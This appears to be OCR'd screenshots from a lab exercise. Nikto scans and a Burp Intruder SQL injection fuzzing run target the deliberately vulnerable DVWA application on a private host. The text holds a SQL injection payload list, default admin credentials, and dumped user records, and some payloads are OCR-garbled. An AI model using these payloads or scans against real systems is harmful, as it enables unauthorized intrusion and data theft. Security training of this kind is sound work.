

```
root@KALI: ~/Desktop
File Actions Edit View Help
root@KALI: ~/Desktop

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 16 bytes 796 (796.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 16 bytes 796 (796.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@KALI:~/Desktop# nikto -host 10.1.0.10
- Nikto v2.1.6
-----
+ Target IP: 10.1.0.10
+ Target Hostname: 10.1.0.10
+ Target Port: 80
+ Start Time: 2023-07-06 00:05:30 (GMT-7)
-----
+ Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current releases for each branch.
+ OpenSSL/1.0.2k-fips appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /test/: Directory indexing found.
+ OSVDB-3092: /test/: This might be interesting...
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8850 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2023-07-06 00:06:17 (GMT-7) (47 seconds)
-----
+ 1 host(s) tested
root@KALI:~/Desktop#
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root@KALI:~/Desktop# nikto -host 10.1.0.10 -Plugins "dictionary(dictionary:/usr/share/wordlists/dirb/common.txt)"
- Nikto v2.1.6
-----
+ Target IP: 10.1.0.10
+ Target Hostname: 10.1.0.10
+ Target Port: 80
+ Start Time: 2023-07-06 00:15:18 (GMT-7)
-----
+ Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
+ Found file /.hta
+ Found file /.htaccess
+ Found file /.htpasswd
+ Found file /cgi-bin/
+ Found file /dvwa
+ Found file /images
+ Found file /mutillidae
+ Found file /test
+ 4847 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2023-07-06 00:15:24 (GMT-7) (6 seconds)
-----
+ 1 host(s) tested
root@KALI:~/Desktop# nikto -host 10.1.0.10 -Display 4
- Nikto v2.1.6
-----
+ Target IP: 10.1.0.10
+ Target Hostname: 10.1.0.10
+ Target Port: 80
+ Start Time: 2023-07-06 00:15:59 (GMT-7)
-----
+ Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
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+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OpenSSL/1.0.2k-fips appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
```

```
root@KALI:~/Desktop# nikto -host 10.1.0.10 -Display 4
- Nikto v2.1.6
-----
+ Target IP: 10.1.0.10
+ Target Hostname: 10.1.0.10
+ Target Port: 80
+ Start Time: 2023-07-06 00:15:59 (GMT-7)
-----
+ Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
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+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /test/: Directory indexing found.
+ OSVDB-3092: /test/: This might be interesting...
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ /webdav/index.html - Requires Authentication for realm 'webdav'
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8850 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2023-07-06 00:16:46 (GMT-7) (47 seconds)
-----
```



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root@KALI: ~/Desktop
File Actions Edit View Help
root@KALI: ~/Desktop

+ 1 host(s) tested
root@KALI:~/Desktop# nikto -host http://10.1.0.10/dvwa -id "admin:password" -o /root/Downloads/dvwa.htm -Format htm
- Nikto v2.1.6
-----
+ Target IP: 10.1.0.10
+ Target Hostname: 10.1.0.10
+ Target Port: 80
+ Start Time: 2023-07-06 00:19:50 (GMT-7)
-----
+ Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
+ Retrieved x-powered-by header: PHP/5.4.16
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ Cookie security created without the httponly flag
+ Root page / redirects to: login.php
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current releases for each branch.
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OpenSSL/1.0.2k-fips appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /dvwa/config/: Directory indexing found.
+ /dvwa/config/: Configuration information may be available remotely.
+ OSVDB-12184: /dvwa/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /dvwa/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /dvwa/?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /dvwa/docs/: Directory indexing found.
+ /dvwa/login.php: Admin login page/section found.
+ /dvwa/.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ 7888 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2023-07-06 00:20:39 (GMT-7) (49 seconds)
-----
```

Nikto Report - Mozilla Firefox

file:///root/Downloads/dvwa.htm

Kali Linux Kali Training Kali Tools Kali Docs Kali Forums NetHunter Offensive Security Exploit-DB GHDB

10.1.0.10 / 10.1.0.10 port 80

Target IP	10.1.0.10
Target hostname	10.1.0.10
Target Port	80
HTTP Server	Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
Site Link (Name)	<a href="http://10.1.0.10:80/dvwa/">http://10.1.0.10:80/dvwa/</a>
Site Link (IP)	<a href="http://10.1.0.10:80/dvwa/">http://10.1.0.10:80/dvwa/</a>

URI	/dvwa/
HTTP Method	GET
Description	Retrieved x-powered-by header: PHP/5.4.16
Test Links	<a href="http://10.1.0.10:80/dvwa/">http://10.1.0.10:80/dvwa/</a> <a href="http://10.1.0.10:80/dvwa/">http://10.1.0.10:80/dvwa/</a>
OSVDB Entries	<a href="#">OSVDB-0</a>

URI	/dvwa/
HTTP Method	GET
Description	The anti-clickjacking X-Frame-Options header is not present.
Test Links	<a href="http://10.1.0.10:80/dvwa/">http://10.1.0.10:80/dvwa/</a> <a href="http://10.1.0.10:80/dvwa/">http://10.1.0.10:80/dvwa/</a>
OSVDB Entries	<a href="#">OSVDB-0</a>

URI	/dvwa/
HTTP Method	GET
Description	The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
Test Links	<a href="http://10.1.0.10:80/dvwa/">http://10.1.0.10:80/dvwa/</a> <a href="http://10.1.0.10:80/dvwa/">http://10.1.0.10:80/dvwa/</a>
OSVDB Entries	<a href="#">OSVDB-0</a>





123

TargetPositionsPayloadsOptions

?

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set:1

Payload count: 125

Payload type:Simple list

Request count: 125

Start attack

?

Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

Load...

Remove

Clear

Add

Add from list... [Pro version only]

Enter a new item

?

Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Add

Enabled

Rule

Edit

123

TargetPoIntruderRepeaterSequencerDecoderComparatorExtenderProject optionsUser options

?

Payload

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set:1

Payload count: 125

Payload type:Simple list

Request count: 125

Start attack

?

Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

Load...

Remove

Clear

Add

Add from list... [Pro version only]

Enter a new item

?

Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Add

Enabled

Rule

Edit

Attack Save Columns

ResultsTargetPositionsPayloadsOptions

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
0	,	200			4868	
1	"	200			523	
2	#	200			4809	
3	-	400			438	
4	-	200			4809	
5	--	200			4809	
6	=%20--	200			521	
7	--;	200			521	
8	=%20;	200			521	
9	=%20'	200			525	
10	=%20;	200			4809	
11	=%20--	200			4809	
12	\x23	200			4809	
13	\x27	200			4809	
14	\x3D%20\x3B'	200			532	
15	\x3D%20\x27	200			4809	
16	\x27\x4F\x52 SELECT *	200			4809	
17	\x27\x6F\x72 SELECT *	200			4809	
18	'or%20select *	200			529	
19	admin'--	200			521	
20	<>'"; (&+&	200			526	
21	=%20or%20"='	200			5141	
22	=%20or%20'x'='x	200			5151	
23	=%20or%20"x"="x	200			4809	

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Attack Save Columns

ResultsTargetPositionsPayloadsOptions

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
39	'or l=1 or ''='	200			5176	
48	hi' or 'a'='a	200			5161	
35	"" or l=""	200			5156	
22	=%20or%20'x'='x	200			5151	
21	=%20or%20"='	200			5141	

RequestResponse

Raw

Headers

Hex

HTML

Render

```
<pre>ID: ' or l=1 or ''='
<br />
First name: admin
<br />
Surname: admin</pre>
<pre>ID: ' or l=1 or ''='
<br />
First name: Gordon
<br />
Surname: Brown</pre>
<pre>ID: ' or l=1 or ''='
<br />
First name: Hack
<br />
Surname: Me</pre>
<pre>ID: ' or l=1 or ''='
<br />
First name: Pablo
<br />
Surname: Picasso</pre>
```

0 matches

54 of 125

